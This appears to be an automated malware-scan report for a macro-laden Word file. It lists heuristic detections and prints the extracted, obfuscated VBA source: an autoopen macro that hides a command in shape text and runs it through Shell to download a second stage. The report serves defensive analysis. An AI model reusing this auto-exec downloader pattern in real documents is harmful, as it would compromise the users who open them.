MALICIOUS
252
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a legacy WordBasic auto-exec macro (autoopen) that triggers a critical VBA Shell() call. This call is used to invoke cmd.exe with execution flags, indicating an attempt to download and execute a second-stage payload. The obfuscated command line suggests a downloader functionality.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6780294-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6780294-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
_ .Shell(XZBqET, lIRVsT), Vcpozp) sEcQzmzZwcmSCfN = (248683754 + Round(LfCtBODiPlzwEBOpJ) * 13206318 - RQArNQGtiNcHYUDAoXNrq + (hiBAdrbXdsddTALopcv / Tan(UVmdbbABaRwKutiSqM))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Customizable = True Sub autoopen() EhWwFkSDK -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5429 bytes |
SHA-256: 0e515f2af1343cb5843f3a08613b34a3c24863a86a31875748708d7fd6aa6b32 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
161 of 193 identifiers look randomly generated (e.g. 'sKrzhDzisatEspOsqowFQzsK') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "tLjKSjrzwMCj" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub autoopen() EhWwFkSDK End Sub Attribute VB_Name = "ABSjSLjuiiD" Function EhWwFkSDK() On Error Resume Next sqtkiCLKWNMtldTIW = (261167220 + Round(mZukdkpsRunaSSWj) * 55488997 - sKrzhDzisatEspOsqowFQzsK + (QimtbOzLJicUpsqlwrOzMBw / Tan(abihCisShCRUMlRM))) tjKlXBwHUSHdKiPkaSzjQIbl = 70969572 paLAWQSZlnuIWXhJOzTLQpm = (63336902 + Round(MOEEolCskqKzYE) * 124432982 - wzILYEjiohzwOizoBzJCNUzB + (QlhWLpvAOTpdziIfWQGmGiF / Tan(VvbuQjbCHTISCLcrEvzLKLD))) BWrEqPlmfqBQOAjfr = 255658383 afkWDVdSdwsnfQLRoIdG = (36327502 + Round(iXaJqzUwIkhKHdLH) * 36906287 - zPTdOqzXtEiHqjYQ + (MvtiizjpHFVJiFhDQIpqFIkK / Tan(GQSBuwlqjzLMhTSnnH))) dNKwwEabjaqDLjKYjOoNH = 239357612 LiVfTFRfwociJpQj = (63327051 + Round(YwwaqOOfdsnHGORtGwIsNOjW) * 311832708 - DKTajOaQmXQkoHQo + (ZrphORQjTXRmJMafjLE / Tan(CIZjqbtcVHBbZnJi))) cpsCrPqJicKqFHv = 80636102 RFHvfDZASPXjljnpAz = (82026665 + Round(ZQJKibTTsuhpOBttb) * 285014021 - wjPiwUcLEPdOjqEvBvwMD + (FHYhiVkmtOJMQiKlLqFQP / Tan(OfAwJGswiihMbH))) QmHbRWOEUaVlPkG = 42067056 pWOjjoDIwWSsRAKYHQh = (88403715 + Round(kLhnSMACqZHWBqB) * 165268538 - tZUQvVIWvhsXqHtQTEKhvQ + (CFIwKWPJIzUXItpppYR / Tan(iIfzSOFhmrrqcwRLmZ))) zjYjXVjlXdOUIitzuaIiwRiX = 115867905 lizKbJVRMhALHkKHOBB = (131328283 + Round(YvWjzwLiwIcjoqDdwKAUHs) * 172808105 - bNpSnkBPjpNibdcMKnPYXi + (uHiRrBzffVhElGsqL / Tan(MAwdUBShnKTdBRw))) vKJTKOhKiMtYqFSwDQKiTQn = 186843198 Const lIRVsT = 0 UkMVtGdjNzpiAbwhZVj = (222851948 + Round(jJONCwwDLudtiWvK) * 164242524 - kQhqnASXpwPhjqSLkbwHrHic + (CMoSFDXAXvRfsW / Tan(viJCndNmbXlTMRGc))) EokodFjsshJuAfsFkMMzc = 268377615 tckhmEaWiiXoWLnrK = (7670103 + Round(KCNzMQFmEuQLGHrWo) * 69528091 - iGplzTVnwtBcAsXNPfiYR + (RVcRTQhfowjcWJUQOird / Tan(sDRQSitbqKmQwoU))) hAEFTFDvYWOtzRzh = 262639789 slWuQnmRoJENnbYcpkzFzHz = (192703200 + Round(EWikUjzaGjnoKLkck) * 74926289 - vJiokmMbwnvlltfLRH + (TdHmjskoiYPcNwciFaiuw / Tan(EwmKzCuiASVDrtn))) zvAzhDiLipILZljMjL = 160266069 LLEtZVZjtGGrmuDmE = (77192338 + Round(BwjIBSwAizTAWsZdN) * 289665187 - miIdJkPbsAPwZod + (TiDCbaVqjZFjwNRpuw / Tan(jtUXYlrGzTCtLtWFwKp))) MMRujijcfjZCbPtcwHiR = 237122864 Set WvhuAYzHJ = tLjKSjrzwMCj.Shapes(OiIUj + "UUCYusK" + dWbASDh) tmVXFjMLziIKpmtAPAqO = (132549628 + Round(jEcHDdPjNSYwDFBGSTKIUjw) * 179719313 - zBwUwqwJBGQuzf + (vSRpmqinzJhXELXwHBFEc / Tan(MPcZoBzkLVnbNBSHp))) QNwKQTuwiJJtsaGi = 35438124 otjbfrPWtHdnAScdvUHCTHw = (10254221 + Round(MFDXCIsEEbjHzrHrVlQCwDE) * 109632978 - czzBXjwijSmLwq + (kivqsWvdALzWjzvJBmVaLuDh / Tan(mZSZVfXuRRQHNXfhTzqZJQjk))) kZdQoqfOuGwcDff = 175600657 jzlFuIVzHobiBJFUodJ = (262446022 + Round(HFjiSmKjbKcXlShPvKzbMfjV) * 93029600 - zCQSRdGdZtFXcWKQf + (wHPrYEsSLMibVKUBpHQJ / Tan(zQItnKYibQvAFXGAGiMZzRu))) zYvCahDAVlwqHwktUjkvmbQ = 253325449 LDDEhLJwoijWHPYMHjlFoio = (305370926 + Round(MpOJSkfbcXtNovzZbvi) * 136651499 - LlkTBwLfDcOIfUWv + (WtDvirfwSnojMnFZMBEipQ / Tan(UvZuiEJaadmZoRRhtEUjKX))) qpIjSTRRzFHjAEzBtIMNDaNR = 56571788 XZBqET = WvhuAYzHJ.TextFrame.TextRange + PVIuNv + cDjthWO + YQtHtS + jwHWHI + CVizbqir + zawlsR + NwHbjlii + GZHGfi + GnqPPZLv + wsbHwzF + dOYTstw + WrLHNQ + VFzHW coOfjuAfkOqoMrGVFXQXzUD = (298129093 + Round(tmapbIwtloBhlvot) * 31947602 - obrSdXEzBoBwHkVSnHZpJGu + (aCFnTbbiscPRVaJDkiGIsojQ / Tan(THhTOihhwraRQdaM))) DfVDwMzVEiAmDlWobz = 129164086 YKNTrzpfdjIiWZdKKQHq = (332912944 + Round(VNZZNEMEhjXBiHwGt) * 264600633 - sAhbFIuMWqEmbiHozuSm + (TZwZHUrWMEXSNFRomTQSr / Tan(OcwvXaTwLbCrZajBwnDqKl))) TNYpANbBTuiKVcLzQCOsw = 110938766 sCjJPDoIVsqATDHYsJTV = (39638476 + Round(nTwzcmSZzjmHOwVOdq) * 135301054 - TOGhSJznhvHJXYPQ + (RaCpvtGOMoIDdjcA / Tan(AYMRiSoisDbckqjEDLQSXXV))) TGVpkDPiIiYrDunHNKDqflcw = 163171824 QWjjzRzEiIIXsQtajHMui = (307434409 + Round(WDKMHwqwGdlQIqjpKwOvAnQz) * 211725139 - jiJAHEWYKdmFqFnLBu + (zlkASBzQzwjmNjl / Tan(MnFVhujfFDFGIHolV))) jlwirzJoWcbqZYEqbYvZZEB = 32043872 OwuuBilvMoTiGVu = (39953346 + Round(OaCqlNRwrBGSiSRCiau) * 104129387 - fiwctzczLslWtmf + (RcldwJhiciVCcYuAq / Tan(jvFOsOozjJVwkjmlQz))) mJWzSzKdZWmzljY = 17344642 cNpmXoDlZUjMaQlKNPujEGw = (133178408 + Round(ivUwEzOKoowoPEYJAY) * 286719469 - NiCbiwPkRpVPVPss + (oUXUBlbnVzLVZEiHKJwss / Tan(HhitwSjTALjaLDUpM))) aoIzEOrlnHKFwzqWNppHnJEB = 325914513 WiZkarLjmcMhiJZ = (285115271 + Round(lXGfBfDvhnYIsHE) * 124955353 - PURHYDSWmahRzQamrtMWc + (CWotEmatVIOzuEZzMU / Tan(JPEVihWwWBNswIuSvSfwfv))) FZDCVVMrhriTFwAKMhoDrIQ = 123229939 sibPEALSjZOFTUUC = (255998336 + Round(SfucwjfpiFUqXmjfzTVtfMK) * 102138091 - klPFlOwRtOCQQjujPRFztCbW + (VBjtLFUfiNvQjwqYYiXhOj / Tan(aKQuEREiJtRQNQYiJhlmV))) TfVPZVYEoZmRFiuKQNZfmWSj = 190158521 vOzczPbqk = Array(orjKEEs, wKpnwRY, pNwNom, Interaction _ _ _ _ _ _ _ _ .Shell(XZBqET, lIRVsT), Vcpozp) sEcQzmzZwcmSCfN = (248683754 + Round(LfCtBODiPlzwEBOpJ) * 13206318 - RQArNQGtiNcHYUDAoXNrq + (hiBAdrbXdsddTALopcv / Tan(UVmdbbABaRwKutiSqM))) OSLkkduACpAikvVDMvXZBq = 170621595 XsasOWcjDKlvVfpDIJuMOoV = (9279160 + Round(OYdQAFuvivuLfirw) * 29670323 - AooaWQrGKzOiiXZ + (zwwSDFqArjvsciCQJjVN / Tan(nBNZtuvhzNWmBitzlEu))) ojmVzifwzUBCLFLwltJLvSrW = 160925081 End Function |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.